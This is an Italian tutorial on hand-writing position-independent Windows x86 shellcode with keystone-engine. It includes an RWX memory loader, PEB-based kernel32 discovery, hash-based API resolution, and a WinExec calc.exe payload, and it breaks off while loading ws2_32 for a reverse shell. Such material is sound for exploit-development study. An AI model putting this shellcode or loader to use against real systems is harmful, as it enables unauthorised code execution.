In questo articolo vedremo come creare uno shellcode custom in ASM in Windows x86 tramite l’utilizzo di keystone-engine. Partendo dalle basi creeremo il template, per poi via via aumentare le istruzioni che andremo ad eseguire fino ad avere una reverse shell completa.
Consiglio di leggere prima gli scorsi articoli sul Buffer Overflow, certe cose le darò per scontato (specialmente su WinDBG e l’assembly). Per chi non conoscesse l’assembly consiglio Assembly Crash Course e OpenSecurity Training.
N.B.: la maggior parte del codice assembly scritto in questo articolo è preso da shellcoder.py.
Keystone è un framework per assembler multipiattaforma, che permette di eseguire codice Assembly direttamente da python. Esso ci permetterà di scrivere qualsiasi istruzione vogliamo ed eseguirla senza dover compilare codice assembly da C.
Il template da cui partiremo è il seguente:
import ctypes, struct
from keystone import *
# Run with python2.7 32bit, pip install keystone-engine
CODE = (
" start: "
" int3 ; "
" ... "
)
# ks = Ks(KS_ARCH_X64, KS_MODE_64)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("%d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode @ %s" % hex(ptr))
a = input("Execute?")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
Essenzialmente all’interno di CODE inseriremo l’assembly che vogliamo e KeyStone si occuperà di eseguirlo. La funzione input presente alla terz’ultima riga è necessaria per poter eseguire il python, attaccarci con WinDBG e decompilare vedendo istruzione per istruzione la sequenza assembly scritta.
Per esempio, se dentro CODE mettiamo:
CODE = (
" start: "
" int3 ; "
" xor eax,eax ; "
" xor ebx,ebx ; "
" xor ecx,ecx ; "
)
Ed eseguiamo il codice python:
python template.py
6 instructions...
Shellcode @ 0x25f0000
Execute?
Possiamo aprire WinDBG, fare l’attach del processo python e premere g per continuare l’esecuzione. Una volta che il processo è in esecuzione, premiamo invio sul terminale con il python e WinDBG si fermerà al breakpoint int3 inserito all’inizio del nostro assembly.
Ed ecco che facendo step vediamo le nostre istruzioni eseguite
0:004> g
(2960.2760): Break instruction exception - code 80000003 (first chance)
eax=027efca8 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0000 esp=027efc50 ebp=027efc5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
025f0000 cc int 3
0:004> p
eax=027efca8 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0001 esp=027efc50 ebp=027efc5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
025f0001 31c0 xor eax,eax
0:004> p
eax=00000000 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0003 esp=027efc50 ebp=027efc5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
025f0003 31db xor ebx,ebx
0:004> p
eax=00000000 ebx=00000000 ecx=025f0000 edx=025f0000 esi=025f0000 edi=025f0000
eip=025f0005 esp=027efc50 ebp=027efc5c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
025f0005 31c9 xor ecx,ecx
Per poter chiamare le funzioni di Windows dobbiamo però essere in grado di trovare a che indirizzo è la DLL (per esempio Kernel32.dll), chiamarla, trovare la funzione che vogliamo chiamare (per esempio WinExec) ed infine eseguirla con i parametri necessari.
Questi passaggi però non possiamo farli con indirizzi hardcodati perchè non sarebbe possibile eseguire lo shellcode su altri computer diversi dal nostro, e se lo riavviassimo, con ASLR perderemmo anche gli indirizzi trovati precedentemente.
Lo shellcode dev’essere quindi in grado di trovare in maniera dinamica l’indirizzo della funzione necessaria. Per farlo ci sono diverse tecniche, noi utilizzeremo la struttura Process Environmental Block (PEB). In questa sezione cercherò di introdurre in modo più semplice possibile per far capire il codice che scriveremo, lasciando tutte le fonti possibili in modo da poter capire più a fondo.
Ci sono due articoli fantastici che vanno molto più a fondo di me e che consiglio vivamente, Digging into Windows PEB e Leveraging from PE parsing technique to write x86 shellcode. Se scrivessi castronerie perdonatemi, sono solo agli inizi :).
La struttura PEB contiene tutte le informazioni di un processo e il suo indirizzo è salvato all’offset statico di fs+0x30 (il registro fs viene utilizzato da Windows per salvare l’indirizzo della struttura TEB). Aprendo per esempio calc.exe con WinDBG, per trovare la PEB ci basterà il seguente comando:
0:023> dt nt!_TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : (null)
+0x030 ProcessEnvironmentBlock : 0x002a0000 _PEB
Una volta trovato l’indirizzo di PEB, ci servirà estrarre l’indirizzo della struttura LDR, la quale contiene informazioni in merito ai moduli caricati dal processo. Essa è posizionata all’offset 0xc di PEB:
0:023> dt _peb 0x2a0000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
....
+0x003 IsLongPathAwareProcess : 0y0
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00da0000 Void
+0x00c Ldr : 0x77221c60 _PEB_LDR_DATA
+0x010 ProcessParameters : 0x00602200 _RTL_USER_PROCESS_PARAMETERS
Ora che abbiamo _PEB_LDR_DATA, dobbiamo estrarre la lista dei moduli, contenuta all’interno delle double-linked list. Ogni oggetto al loro interno è un puntatore alla struttura LDR_DATA_TABLE_ENTRY, che ci servirà per esportare gli indizizzi dei moduli richiesti. Vediamo _PEB_LDR_DATA con il comando:
0:023> dt _PEB_LDR_DATA 0x77221c60
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x602fa0 - 0x9912338 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x602fa8 - 0x9912340 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x602ec8 - 0x9912348 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
Quindi se volessimo prendere il primo elemento della lista, basterà vedere la struttura _LDR_DATA_TABLE_ENTRY al determinato offset.
0:023> dt nt!_ldr_data_table_entry 0x602ec8-8
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x603348 - 0x602fa8 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x6036c0 - 0x77221c7c ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x77100000 - 0x0 ]
+0x018 DllBase : 0x0019f000 Void
+0x01c EntryPoint : 0x003c003a Void
+0x020 SizeOfImage : 0x602e08
+0x024 FullDllName : _UNICODE_STRING "ntdll.dll"
Se volessimo prendere il secondo:
0:023> dt nt!_ldr_data_table_entry 0x6036c0-8
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x606778 - 0x603348 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x603350 - 0x602ec8 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x75260000 - 0x753557f0 ]
+0x018 DllBase : 0x00217000 Void
+0x01c EntryPoint : 0x00460044 Void
+0x020 SizeOfImage : 0x603798
+0x024 FullDllName : _UNICODE_STRING "KERNELBASE.dll"
E avanti cosi. Ora traduciamo queste operazioni in Assembly con keystone, facendo un loop su tutti i moduli presenti in quella lista e salvando il nome del modulo nel registro EDI. Alla fine con l’istruzione [edi+12*2], cx compariamo cx (che vale 0) con la posizione 25 della stringa. Se è NULL, significa che il nome della DLL trovata è lunga 24 (12 caratteri unicode), ossia kernel32.dll:
CODE = (
" start: "
" int3 ; "
" mov ebp, esp ;"
" sub esp, 200h ;" # size of the shellcode
" find_kernel32: " #
" xor ecx, ecx ;" # ECX = 0
" mov esi,fs:[ecx+0x30] ;" # ESI = &(PEB) ([FS:0x30])
" mov esi,[esi+0x0C] ;" # ESI = PEB->Ldr
" mov esi,[esi+0x1C] ;" # ESI = PEB->Ldr.InInitOrder
" next_module: " #
" mov ebx, [esi+0x08] ;" # EBX = InInitOrder[X].base_address
" mov edi, [esi+0x20] ;" # EDI = InInitOrder[X].module_name
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next)
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00?
" jne next_module ;" # No: try next module
)
Vediamo con WinDBG:
0:004> g
(b1c.284c): Break instruction exception - code 80000003 (first chance)
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30000 esp=0302ff14 ebp=0302ff20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e30000 cc int 3
0:004> p
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30001 esp=0302ff14 ebp=0302ff20 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e30001 89e5 mov ebp,esp
0:004> p
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30003 esp=0302ff14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e30003 81ec00020000 sub esp,200h
0:004> p
eax=0302ff6c ebx=00000000 ecx=02e30000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e30009 esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
02e30009 31c9 xor ecx,ecx
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=02e30000 edi=02e30000
eip=02e3000b esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e3000b 648b7130 mov esi,dword ptr fs:[ecx+30h] fs:003b:00000030=00c94000
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=00c94000 edi=02e30000
eip=02e3000f esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e3000f 8b760c mov esi,dword ptr [esi+0Ch] ds:0023:00c9400c={ntdll!PebLdr (77221c60)}
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=77221c60 edi=02e30000
eip=02e30012 esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e30012 8b761c mov esi,dword ptr [esi+1Ch] ds:0023:77221c7c=01052028
0:004> p
eax=0302ff6c ebx=00000000 ecx=00000000 edx=02e30000 esi=01052028 edi=02e30000
eip=02e30015 esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e30015 8b5e08 mov ebx,dword ptr [esi+8] ds:0023:01052030={ntdll!RtlpSlashSlashDot <PERF> (ntdll+0x0) (77100000)}
0:004> p
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052028 edi=02e30000
eip=02e30018 esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e30018 8b7e20 mov edi,dword ptr [esi+20h] ds:0023:01052048={ntdll!`string' (771092ec)}
0:004> p
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052028 edi=771092ec
eip=02e3001b esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e3001b 8b36 mov esi,dword ptr [esi] ds:0023:01052028=01052820
0:004> p
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052820 edi=771092ec
eip=02e3001d esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e3001d 66394f18 cmp word ptr [edi+18h],cx ds:0023:77109304=7273
0:004> r
eax=0302ff6c ebx=77100000 ecx=00000000 edx=02e30000 esi=01052820 edi=771092ec
eip=02e3001d esp=0302fd14 ebp=0302ff14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02e3001d 66394f18 cmp word ptr [edi+18h],cx ds:0023:77109304=7273
0:004> db edi
771092ec 6e 00 74 00 64 00 6c 00-6c 00 2e 00 64 00 6c 00 n.t.d.l.l...d.l.
771092fc 6c 00 00 00 54 65 72 6d-73 72 76 47 65 74 57 69 l
......
0:004>
eax=026bfa44 ebx=75e50000 ecx=00000000 edx=024c0000 esi=00878108 edi=008725b0
eip=024c001d esp=026bf7ec ebp=026bf9ec iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
024c001d 66394f18 cmp word ptr [edi+18h],cx ds:0023:008725c8=0000
0:004>
eax=026bfa44 ebx=75e50000 ecx=00000000 edx=024c0000 esi=00878108 edi=008725b0
eip=024c0021 esp=026bf7ec ebp=026bf9ec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
024c0021 75f2 jne 024c0015 [br=0]
0:004> db edi
008725b0 4b 00 45 00 52 00 4e 00-45 00 4c 00 33 00 32 00 K.E.R.N.E.L.3.2.
008725c0 2e 00 44 00 4c 00 4c 00-00 00 00 00 00 00 00 00 ..D.L.L.
E in EBX abbiamo salvato il suo base address
0:004> r ebx
ebx=75e50000
0:004> lmDmKERNEL32
Browse full module list
start end module name
75e50000 75eea000 KERNEL32 (pdb symbols) c:\symbols\kernel32.pdb\DCD9A5D0408BE6FE0CCF5A41F25AE8261\kernel32.pdb
Ora che abbiamo il base address della DLL che ci interessa, dobbiamo trovare le funzioni che esporta e il loro indirizzo. Per farlo useremo la Export Table Directory.
Per ottenerla, sappiamo che il puntatore e_lfanew si trova all’offset 0x3c del base address di Kernel32
0:022> dt -n _IMAGE_DOS_HEADER
ntdll!_IMAGE_DOS_HEADER
+0x000 e_magic : Uint2B
+0x002 e_cblp : Uint2B
......
+0x024 e_oemid : Uint2B
+0x026 e_oeminfo : Uint2B
+0x028 e_res2 : [10] Uint2B
+0x03c e_lfanew : Int4B
Troviamo quanto vale con WinDBG:
0:022> dd kernel32+0x3c L1
75e5003c 000000f8
Ora, se sommiamo 0xf8 con il base address, troviamo il PE Header, il quale all’offset 0x78 contiene il Relative Virtual Address (RVA) dell’export directory:
0:004> dd kernel32+0xf8+0x78 L1
75e50170 00078740
Sommando questo valore al base address, troviamo il Virtual Address dell’export directory:
0:004> dd kernel32+78740
75ec8740 00000000 42e92200 00000000 0007c624
75ec8750 00000001 00000646 00000646 00078768
75ec8760 0007a080 0007b998 0001cf20 0007c65e
Ora abbiamo finalmente l’export directory, che ha questa struttura:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;
DWORD AddressOfNameOrdinals;
};
All’offset 0x18 sappiamo che troveremo NumberOfNames, mentre all’offset 0x20 AddressOfNames. Se guardiamo all’offset 0x20, trovaremo il RVA di AddressOfNames, che sommato a kernel32 ci darà il VA di tutti i nomi delle funzioni esportare:
0:004> dds kernel32+78740+0x20 L1
75ec8760 0007a080
0:004> dds kernel32+78740+0x20 L1
75ec8760 0007a080
0:004> dd kernel32+0007a080 L4
75eca080 0007c680 0007c6b9 0007c6ec 0007c6fb
0:004> da kernel32+0007c680
75ecc680 "AcquireSRWLockExclusive"
0:004> da kernel32+0007c6b9
75ecc6b9 "AcquireSRWLockShared"
0:004> da kernel32+0007c6ec
75ecc6ec "ActivateActCtx"
Se volessimo tradurre tutti questi passaggi in Assembly, il codice aggiornato diventerà:
CODE = (
" start: "
" int3 ; "
" mov ebp, esp ;"
" sub esp, 200h ;" # size of the shellcode
" find_kernel32: " #
" xor ecx, ecx ;" # ECX = 0
" mov esi,fs:[ecx+0x30] ;" # ESI = &(PEB) ([FS:0x30])
" mov esi,[esi+0x0C] ;" # ESI = PEB->Ldr
" mov esi,[esi+0x1C] ;" # ESI = PEB->Ldr.InInitOrder
" next_module: " #
" mov ebx, [esi+0x08] ;" # EBX = InInitOrder[X].base_address
" mov edi, [esi+0x20] ;" # EDI = InInitOrder[X].module_name
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next)
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00?
" jne next_module ;" # No: try next module
" find_function: " #
" pushad ;" # Save all registers
# Base address of kernel32 is in EBX from
# Previous step (find_kernel32)
" mov eax, [ebx+0x3c] ;" # Offset to PE Signature
" mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA
" add edi, ebx ;" # Export Table Directory VMA
" mov ecx, [edi+0x18] ;" # NumberOfNames
" mov eax, [edi+0x20] ;" # AddressOfNames RVA
" add eax, ebx ;" # AddressOfNames VMA
" mov [ebp-4], eax ;" # Save AddressOfNames VMA for later
)
Quello che dobbiamo fare ora è esportare l’indirizzo delle funzioni che ci servono (per esempio WinExec). Per farlo non utilizzeremo una comparazione dei caratteri ASCII, ma una tecnica di hashing che convertirà i nomi delle funzioni in hash univoci in modo da confrontarli più velocemente e con meno codice.
Il codice in python per calcolare l’hash è il seguente:
#!/usr/bin/python
import numpy, sys
def ror_str(byte, count):
binb = numpy.base_repr(byte, 2).zfill(32)
while count > 0:
binb = binb[-1] + binb[0:-1]
count -= 1
return (int(binb, 2))
if __name__ == '__main__':
try:
esi = sys.argv[1]
except IndexError:
print("Usage: %s INPUTSTRING" % sys.argv[0])
sys.exit()
# Initialize variables
edx = 0x00
ror_count = 0
for eax in esi:
edx = edx + ord(eax)
if ror_count < len(esi)-1:
edx = ror_str(edx, 0xd)
ror_count += 1
print(hex(edx))
Che una volta eseguito ci fornirà l’hash da inserire nell’assembly:
python compute_hash.py WinExec
0xe8afe98
Ciò che dobbiamo fare ora è convertire il codice python in codice assembly, in modo che per ogni funzione esportata dalla Export Directory venga calcolato l’hash e confrontato con l’hash della funzione che vogliamo trovare. Il codice assembly aggiornato diventerà:
CODE = (
" start: "
" int3 ; " # breakpoint
" mov ebp, esp ;"
" sub esp, 200h ;" # size of the shellcode
" find_kernel32: " #
" xor ecx, ecx ;" # ECX = 0
" mov esi,fs:[ecx+0x30] ;" # ESI = &(PEB) ([FS:0x30])
" mov esi,[esi+0x0C] ;" # ESI = PEB->Ldr
" mov esi,[esi+0x1C] ;" # ESI = PEB->Ldr.InInitOrder
" next_module: " #
" mov ebx, [esi+0x08] ;" # EBX = InInitOrder[X].base_address
" mov edi, [esi+0x20] ;" # EDI = InInitOrder[X].module_name
" mov esi, [esi] ;" # ESI = InInitOrder[X].flink (next)
" cmp [edi+12*2], cx ;" # (unicode) modulename[12] == 0x00?
" jne next_module ;" # No: try next module
" find_function_shorten: " #
" jmp find_function_shorten_bnc ;" # Short jump
" find_function_ret: " #
" pop esi ;" # POP the return address from the stack
" mov [ebp+0x04], esi ;" # Save find_function address for later usage
" jmp resolve_symbols_kernel32 ;" #
" find_function_shorten_bnc: " #
" call find_function_ret ;" # Relative CALL with negative offset
" find_function: " #
" pushad ;" # Save all registers
# Base address of kernel32 is in EBX from
# Previous step (find_kernel32)
" mov eax, [ebx+0x3c] ;" # Offset to PE Signature
" mov edi, [ebx+eax+0x78] ;" # Export Table Directory RVA
" add edi, ebx ;" # Export Table Directory VMA
" mov ecx, [edi+0x18] ;" # NumberOfNames
" mov eax, [edi+0x20] ;" # AddressOfNames RVA
" add eax, ebx ;" # AddressOfNames VMA
" mov [ebp-4], eax ;" # Save AddressOfNames VMA for later
" find_function_loop: " #
" jecxz find_function_finished ;" # Jump to the end if ECX is 0
" dec ecx ;" # Decrement our names counter
" mov eax, [ebp-4] ;" # Restore AddressOfNames VMA
" mov esi, [eax+ecx*4] ;" # Get the RVA of the symbol name
" add esi, ebx ;" # Set ESI to the VMA of the current symbol name
" compute_hash: " #
" xor eax, eax ;" # NULL EAX
" cdq ;" # NULL EDX
" cld ;" # Clear direction
" compute_hash_again: " #
" lodsb ;" # Load the next byte from esi into al
" test al, al ;" # Check for NULL terminator
" jz compute_hash_finished ;" # If the ZF is set,we've hit the NULL term
" ror edx, 0x0d ;" # Rotate edx 13 bits to the right
" add edx, eax ;" # Add the new byte to the accumulator
" jmp compute_hash_again ;" # Next iteration
" compute_hash_finished: " #
" find_function_compare: " #
" cmp edx, [esp+0x24] ;" # Compare the computed hash with the requested hash
" jnz find_function_loop ;" # If it doesn't match go back to find_function_loop
" mov edx, [edi+0x24] ;" # AddressOfNameOrdinals RVA
" add edx, ebx ;" # AddressOfNameOrdinals VMA
" mov cx, [edx+2*ecx] ;" # Extrapolate the function's ordinal
" mov edx, [edi+0x1c] ;" # AddressOfFunctions RVA
" add edx, ebx ;" # AddressOfFunctions VMA
" mov eax, [edx+4*ecx] ;" # Get the function RVA
" add eax, ebx ;" # Get the function VMA
" mov [esp+0x1c], eax ;" # Overwrite stack version of eax from pushad
" find_function_finished: " #
" popad ;" # Restore registers
" ret ;" #
" resolve_symbols_kernel32: "
" push 0xe8afe98 ;" # WinExec hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;" # Save WinExec address for later usage
)
Mettendo il breakpoint sull’istruzione push 0xec0e4e8e possiamo vedere come ora in EAX abbiamo l’indirizzo delle funzione che volevamo, che andiamo a salvare in [ebp+0x10], visto che dovremo chiamarlo nelle prossime funzioni:
0:004> g
Breakpoint 0 hit
eax=02e1ff80 ebx=75e50000 ecx=00000000 edx=02c20000 esi=02c20030 edi=00f52680
eip=02c2007f esp=02e1fd28 ebp=02e1ff28 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02c2007f 6898fe8a0e push 0E8AFE98h
0:004> p
eax=02e1ff80 ebx=75e50000 ecx=00000000 edx=02c20000 esi=02c20030 edi=00f52680
eip=02c20084 esp=02e1fd24 ebp=02e1ff28 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02c20084 ff5504 call dword ptr [ebp+4] ss:0023:02e1ff2c=02c20030
0:004> p
eax=75eb43e0 ebx=75e50000 ecx=00000000 edx=02c20000 esi=02c20030 edi=00f52680
eip=02c20087 esp=02e1fd24 ebp=02e1ff28 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
02c20087 894514 mov dword ptr [ebp+14h],eax ss:0023:02e1ff3c=00000000
0:004> u eax L5
KERNEL32!WinExec:
75eb43e0 8bff mov edi,edi
75eb43e2 55 push ebp
75eb43e3 8bec mov ebp,esp
75eb43e5 83e4f8 and esp,0FFFFFFF8h
75eb43e8 81ec8c000000 sub esp,8Ch
Ora che abbiamo l’indirizzo della funzione che vogliamo chiamare, non ci rimane che passargli i vari argomenti di cui necessita ed eseguirla.
WinExec esegue l’applicazione passata come argomento:
INT WinExec(
[in] LPCSTR lpCmdLine,
[in] UINT uCmdShow
);
Dove:
Quindi dovremo posizionare sullo stack (in ordine inverso) prima 0x1 come uCmdShow e C:\Windows\system32\calc.exe come lpCmdLine per eseguire calc.exe. Per farlo basta:
Per convertire in esadecimale (che non ricordo se l’ho scritto o l’ho preso da qualche parte, nel caso mi perdoni il creatore se non metto il link) uso questo script:
#!/usr/bin/python
import numpy, sys
import binascii
if __name__ == '__main__':
try:
string = sys.argv[1]
except IndexError:
print("Usage: %s INPUTSTRING" % sys.argv[0])
sys.exit()
byte_list = []
for i in range(0, len(string), 4):
byte_list.append(string[i:i+4][::-1])
byte_list.reverse()
for b in byte_list:
x = binascii.hexlify(bytes(b,encoding='utf8'))
print("push " + "0x"+x.decode("utf-8") + "\t; " + b)
Che una volta eseguito stampa le istruzioni di cui abbiamo bisogno:
python calculate_bytes.py "C:\\Windows\\system32\\calc.exe"
push 0x657865 ; exe
push 0x2e636c61 ; .cla
push 0x635c5c32 ; c\\2
push 0x336d6574 ; 3met
push 0x7379735c ; sys\
push 0x5c73776f ; \swo
push 0x646e6957 ; dniW
push 0x5c5c3a43 ; \\:C
Convertendo tutto ciò in assembly, il codice aggiornato sarà:
......
" resolve_symbols_kernel32: "
" push 0xe8afe98 ;" # WinExec hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;" # Save WinExec address for later usage
" call_winexec: "
" int3 ; "
" xor eax,eax ;"
" push eax ;" # null byte terminator
" mov eax,0x657865 ;" #exe
" push eax ;" # null byte terminator
" push 0x2e636c61 ;" #.cla
" push 0x635c5c32 ;" #c\\2
" push 0x336d6574 ;" #3met
" push 0x7379735c ;" #sys\
" push 0x5c73776f ;" #\swo
" push 0x646e6957 ;" #dniW
" push 0x5c5c3a43 ;" #\\:C"
" push esp ;"
" pop esi ;"
" xor eax,eax ;"
" mov al, 0x01 ;" # Move AL, SW_SHOWNORMAL
" push eax ;" # Push uCmdShow
" push esi ;"
" call dword ptr [ebp+0x10] ;" # Call WinExec
Vediamo però che WinDBG va in errore una volta eseguito calc.exe. Questo perchè gli manca la chiamata TerminateProcess. Andiamo ad aggiungerla nella funzione resolve_symbols_kernel32:
......
" resolve_symbols_kernel32: "
" push 0xe8afe98 ;" # WinExec hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;" # Save WinExec address for later usage
" push 0x78b5b983 ;" # TerminateProcess hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x14], eax ;" # Save TerminateProcess address for later usage
" call_winexec:
.....
E la chiamamiamo dopo la call di WinExec:
.....
" push esi ;"
" call dword ptr [ebp+0x10] ;" # Call WinExec
" call_terminate_process: " #
" xor ecx, ecx ;" # Null ECX
" push ecx ;" # uExitCode
" push 0xffffffff ;" # hProcess
" call dword ptr [ebp+0x14] ;" # Call TerminateProcess
Andando a togliere il breakpoint ed eseguendola senza WinDBG vediamo che viene eseguito senza problemi.
Ora che abbiamo le basi e capito come chiamare ed eseguire le varie Win32 API tramite assembly, non ci rimane che creare una reverse shell da 0. Le funzioni che ci servono di kernel32 sono:
Invece le funzioni per la connessione sono presenti in ws2_32.dll, da cui prenderemo:
Come prima cosa andiamo a risolvere gli hash delle tre API di kernel32 e li salviamo dentro il puntatore ad EBP.
.....
" resolve_symbols_kernel32: "
" push 0x78b5b983 ;" # TerminateProcess hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x10], eax ;" # Save TerminateProcess address for later usage
" push 0xec0e4e8e ;" # LoadLibraryA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x14], eax ;" # Save LoadLibraryA address for later usage
" push 0x16b3fe72 ;" # CreateProcessA hash
" call dword ptr [ebp+0x04] ;" # Call find_function
" mov [ebp+0x18], eax ;" # Save CreateProcessA address for later usage
.....
Poi usiamo la funzione LoadLibraryA per caricare ws2_32. Essa è definita in questo modo:
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
Quindi basterà passare come argomento il nome della libreria per avere l’handle al modulo, che salveremo in un registro. Aggiorno il codice python
....
" load_ws2_32: " #
" int3;"
" xor eax, eax ;" # Null EAX
" mov ax, 0x6c6c ;" # ll
" push eax ;" # string NULL terminator
" push 0x642e3233 ;" # d.23
" push 0x5f327377 ;" # _2sw
" push esp ;" # Push ESP to have a pointer to the string
" call dword ptr [ebp+0x14] ;" # Call LoadLibraryA
Vediamo in WinDBG se funziona tutto:
0:004> g
(1150.2a8c): Break instruction exception - code 80000003 (first chance)
eax=75e76c90 ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=0315009f esp=0334f590 ebp=0334f79c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
0315009f cc int 3
0:004> p
eax=75e76c90 ebx=75e50000 ecx=00000000 edx=03150000 esi=0315002f edi=01492680
eip=031500a0 esp=0334f590 ebp=0334f79c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
031500a0 31c0 xor eax,eax
0:004> p
